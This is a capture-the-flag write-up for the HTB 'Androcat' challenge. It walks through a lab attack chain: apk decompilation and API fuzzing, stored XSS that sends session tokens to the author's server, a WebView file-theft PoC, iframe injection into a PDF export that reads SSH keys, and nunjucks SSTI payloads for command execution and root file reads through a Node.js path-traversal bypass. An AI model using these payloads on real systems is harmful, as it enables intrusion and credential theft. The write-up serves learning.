HTB University CTF 2023 - Androcat
Since it is a full pwn challenge we only have the IP of the machine. We will use Nmap to scan the IP for running services.
Nmap scan
1 | # Nmap 7.94SVN scan initiated Fri Dec 8 10:32:13 2023 as: nmap -sCV -T4 --min-rate 10000 -p- -v -oA nmap/tcp_default 10.129.230.59 |
Port 22 and port 80 are opened for TCP. We can assume that this is a webserver.
Sourcecode apk analysis.
The challenge also included a .apk file that covered some of the website’s functionality. We can use apktool to decode the contents:
1 | apktook d Source CampusConnect.apk |
This creates a new folder “CampusConnect”. I used VS-code to see the contents.
1 | code . & |
In the /assets folder there is a index.html file and a index.js file. The index.js file includes sourcode for an API. For example the /api/posts endpoint:
1 | function populatePosts() { |
We can also find a hostname in the source:
Fuzzing the API
Using ffuf I fuzzed the API for its endpoints:
1 | ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.129.230.59/api/FUZZ -mc all -X POST -fs 32 |
This resulted in the following endpoints:
- /api/register
- /api/login
- /api/posts
But from the sourcecode file “index.js” we can find another endpoint:
- /api/studyMaterial
Getting a session token
We can register to the API using burp suite to create a request:
1 | POST /api/register HTTP/1.1 |
Next we can login using:
1 | POST /api/login HTTP/1.1 |
The server responds to us with a session token:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdCIsImVtYWlsIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJzdHVkZW50IiwiZm9yIjoiY2FtcHVzY29ubmVjdC5odGIiLCJpYXQiOjE3MDIyMDkyNjR9.yJgGMLMCvJnjp_y4aUrpogqhfXiu7ZJ_A8YzYMfZ5bg |
This is a JWT token. If we take a look at it on jwt.io we can see its contents:
- The JWT secret cannot be cracked
- The JWT signature cannot be bypassed using “alg”: “None”
Finding XSS on the /posts page
In the /index.html page there is a hint:
1 | <div class="alert alert-dismissible alert-primary mt-4"> |
This means that a teacher with a teacher token will probably see our newly posts. We can create a new post using the /api/posts endpoint. From the sourcecode we can see which parameters to specify:
1 | fetch(`${localStorage.getItem('backendUrl')}/api/posts`, { |
To posts a new “post” we can use the following request:
1 | POST /api/posts HTTP/1.1 |
This will create a new post. If we send a /get request we can see our post:
Lets try to include JavaScript in the fields in order to get XSS and retrieve a session cookie from someone else. But we have to be aware that the app stores the session cookies in the LocalStorage:
1 | 'token': localStorage.getItem('token'), |
Using the following payload to get XSS:
1 | { |
We can see a incoming request including a cookie:
The session cookie:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieGNsb3czbiIsImVtYWlsIjoieGNsb3czbkBoYWNrdGhlYm94LmV1Iiwicm9sZSI6InRlYWNoZXIiLCJmb3IiOiJjYW1wdXNjb25uZWN0Lmh0YiIsImlhdCI6MTcwMjIwODc2NX0.JRyDPA7Zhdo8CP2Q9WUU7a5MOM9-TkNTHGucNzEWU5U |
Using jwt.io we can see that it has the teacher role:
Decompiling apk to java & analysis
We can use a tool from a friend of mine to easily decompile the Java source of the .apk:
https://github.com/JorianWoltjer/default
1 | default apk decompile CampusConnect.apk |
This creates a new directory CampusConnect.java that includes the java source of the APK.
The HomeActivity.java file includes a interesting function WebResourceResponse:
1 | public WebResourceResponse shouldInterceptRequest(final WebView webView, final WebResourceRequest webResourceRequest) { |
Googling around, we can find https://blog.oversecured.com/Android-Exploring-vulnerabilities-in-WebResourceResponse/. This PoC includes almost the same function. And also says:
Therefore, if an attacker discovers a simple XSS or the ability to open arbitrary links inside the Android app, they can use that to leak sensitive user data – which can also include the access token, leading to a full account takeover.
This seems like the right path! So lets use that PoC from the blog and try to reveal sensitive data.
1 | function theftFile(path, callback) { |
- Notice that we steal the file user.xml and not auth.xml from the blog.
We can conclude this by checking out the SharedPreferenceClass class in the source:
1 | public class SharedPreferenceClass |
We will host this file on our own webserver and use the XSS on the /api/posts vulnerability to get the source.
1 | POST /api/posts HTTP/1.1 |
After submitting the XSS, we retrieve another token:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieGNsb3czbiIsImVtYWlsIjoieGNsb3czbkBoYWNrdGhlYm94LmV1Iiwicm9sZSI6Im1vZGVyYXRvciIsImZvciI6ImFkbWluLmNhbXB1c2Nvbm5lY3QuaHRiIiwiaWF0IjoxNzAyMjE2NDkyfQ.fiBakw8_VX8HASyotLw-IKgAP-zCq_5JbrBlpJC-gqE |
The token has the moderator role:
Finding the admin subdomain & LFI
In the java sourcecode we can find another subdomain “admin.campusconnect.htb”. We can use the admin token from the leaked user.xml to authenticate to the admin subdomain. In the java source we can find that /api/exportAttendance is a interesting endpoint:
1 | this.export.setOnClickListener((View$OnClickListener)new View$OnClickListener(this) { |
If we go to the endpoint including our admin-token as header, we can see that it indeed exports a PDF with the current users:
We can try to get LFI by registering a user with a iframe as username:
1 | POST /api/register HTTP/1.1 |
If we now export the PDF again we can see that it worked!
We can see that there is a user “rick” with a /bin/sh shell. We can try to include his private SSH key:
1 | { |
Result:
We can use this private key to SSH into the system:
1 | ssh -i id_rsa rick@campusconnect.htb |
Privilege escalation to root with SSTI
On the system, we can check for listening TCP ports:
1 | netstat -tulpn |
Results:
Port 8080 seems interesting, since the webservice for the campusconnect is running on port 80. Lets forward the service to our localhost using chisel.
Setup server
1 | chisel server -p 9999 --reverse & |
Client callback
1 | ./chisel client 10.10.14.3:9999 R:1234:127.0.0.1:8080 & |
We can now interact with the service on port 8080, by going to localhost:1234:
It looks like a custom webpage to interact with services, but this was not the way to root. Instead there is another page /email:
This functionality provided some template engine syntax ({ item }}. And since we can preview the content on our webpage, we can try to do Server Side Template Injection (SSTI). But we first have to find out which engine is running to determine our attack path.
To do so, we can use https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs to test some payloads. One payload that worked for nunjucks was:
1 | {{range.constructor('return 1+1')()}} |
This returned 2 on the e-mail preview.
One common payload to get RCE for nunjucks is:
1 | {{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}} |
But execSync is blacklisted. Another way that we could solve the challenge is file read. But before we do so, we cant to make sure the process runs as root. We can conclude it is by checking the homedir using the os module:
1 | {{range.constructor("return global.process.mainModule.require('os').homedir()")()}} |
This returns “/root”.
Getting file read using readFileSync
Our team found a CVE https://nvd.nist.gov/vuln/detail/CVE-2023-39332 that “Various node:fs
functions allow specifying paths as either strings or Uint8Array
objects. In Node.js environments, the Buffer
class extends the Uint8Array
class. Node.js prevents path traversal through strings (see CVE-2023-30584) and Buffer
objects (see CVE-2023-32004), but not through non-Buffer
Uint8Array
objects. This is distinct from CVE-2023-32004 which only referred to Buffer
objects. However, the vulnerability follows the same pattern using Uint8Array
instead of Buffer
.
This lead to the following PoC (works for 20.8.0):
1 | {{range.constructor("return global.process.mainModule.require('fs').readFileSync(new Uint8Array([47,114,111,111,116,47,115,101,114,118,105,99,101,77,97,110,97,103,101,114,47,46,46,47,114,111,111,116,46,116,120,116]))")()}} |
Output:
Another way to do exploit the bypass is this PoC (works for 20.5.0):
1 | {{range.constructor("return global.process.mainModule.require('fs').readFileSync(Buffer.from('/root/serviceManager/../.ssh/id_rsa'))")()}} |